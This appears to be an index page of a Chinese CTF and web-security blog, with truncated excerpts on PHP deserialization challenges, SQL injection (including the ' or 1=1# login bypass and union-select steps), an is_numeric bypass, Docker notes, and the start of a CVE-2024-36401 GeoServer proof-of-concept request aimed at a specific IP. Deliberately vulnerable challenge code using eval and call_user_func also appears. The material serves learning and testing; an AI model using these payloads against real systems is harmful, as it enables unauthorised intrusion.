反序列化中私有属性无法访问的解决办法
前情提要今天做了一下basectf 的反序列化,遇到了一个php语言版本较低,导致无法解析私有属性的访问的题目。
原题1234567891011121314151617181920212223242526272829303132333435363738394041424344<?phphighlight_file(__FILE__);class Sink{    private $cmd = 'echo 123;';    public function __toString()    {        eval($this->cmd);    }}class Shark{    private $word = 'Hello, World!';    public function __invoke()    {        echo 'Shark says:' . $this->word;     ...
有关登录型sql注入的补充
登录型sql注入特征形如下列语句即为登录型
12$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
注入方法以及原理
万能密码:
1' or 1=1#
在用户名输入框中输入:’ or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:
1select * from users where username='' or 1=1#' and password=md5('')
语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:
1select * from users where username='' or 1=1#' and password=md5('')
 等价于
1select *  ...
moectf铜人阵脚本
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981 ...
挺有趣的题目
先说一下is_numeric()的绕过   is_numeric() 函数会判断如果是数字和数字字符串则返回 TRUE,否则返回 FALSE,且php中弱类型比较时,会使(‘1234a’ == 1234)为真,或者’12345%00’
题目1234567891011121314151617181920<?phphighlight_file('final1l1l_challenge.php');error_reporting(0);include 'flag.php';$a = $_GET['a'];$b = $_POST['b'];if (isset($a) && isset($b)) {    if (!is_numeric($a) && !is_numeric($b)) {        if ($a == 0 && md5($a) == $b[$a]) {             ...
moectf-pop
将近半年没有接触反序列化,上手竟觉得如此生疏,贴一下原题和poc
原题
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465<?phpclass class000 {ni    public function __destruct()    {        $this->check();    }    public function check()    {        if($this->payl0ad === 0)        {            die('FAILED TO ATTACK');        }        $a = $this->what;        $a();    }}class class001 & ...
DOCKER
最近搞了很多有关docker的东西,有一些东西由于时效性已经失去功能,这里来算是补充
安装dockerdocker可以直接apt install安装,但是docker-com需要本地安装。国内很多镜像源并没有docker-com
常用命令(只记一半的)123456docker ps 查看所有正在进行容器进程 -a可以查看已停止的进程docker images 查看已经构建的镜像docker build 构建镜像docker exec 和自己的镜像终端进行链接docker rm 删除容器进程docker rmi 删除镜像
镜像源问题由于某不可抗力,国内传统镜像源大多已挂,这里贴一个最近还能用的
来源:
https://github.com/tech-shrimp/docker_installer?tab=readme-ov-file
1234567{    "registry-mirrors": [        "https://docker.m.daocloud.io",        "http ...
sql注入学习1
第一步:判断注入类型
数字型: 使用 1 and 1=2和1 and 1=1来判断(如果没报错,那就不是数字型注入)
字符型: 试试可能的闭合符   ‘    “    ‘)    “)
第二步: 联合查询前写入语句
可能的闭合符   ‘  “  ‘)  “)
不需要的语句可以用注释符号 –+  #  %23 –%0c注释掉
使用group by 或者Order by 确定数据列数量:id=-2’group by 4–+
查找回显位:使你提交的结果能够在页面上给你体现出来 使用语句?id=-2’union select 1,2,3–+(回显的内容的数字就可以知道是哪个位置了)
第三步: 查询库 表 列
查找当前库名:?id=-2’union select 1,2,database()–+ (三号位就是苦库的名)
查找当前库下所有的表名:id=-2’union select 1,group_concat(table_name),3 from information_schema.tabl ...
CVE-2024-36401
挖到了人生第一个洞,记一下过程
poc展示123456789101112131415161718192021POST /geoserver/wfs HTTP/1.1Host: 124.221.193.109:9090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1X-Forwarded-For: 123.123.123.123Content ...
小学期web题
ezz_rce
12345678910111213141516<?phpshow_source(__FILE__);error_reporting(0);$a=$_GET['shell'];$b=$_GET;$c=$_POST['cmd'];function waf($c){    if(preg_match("/cat|flag/is",$c)) {        exit('不是哥们');    }}if(isset($b) and isset($c)){    waf($c);    call_user_func($a,$b)($c);}else{exit('这是一个简单的传参?');} 这是一个简单的传参?
思路就是使得call_user_func($a,$b)变成system,最后的($c)就可以填入命令了
call_user_func($a,$b)($c);
用到一个特 ...







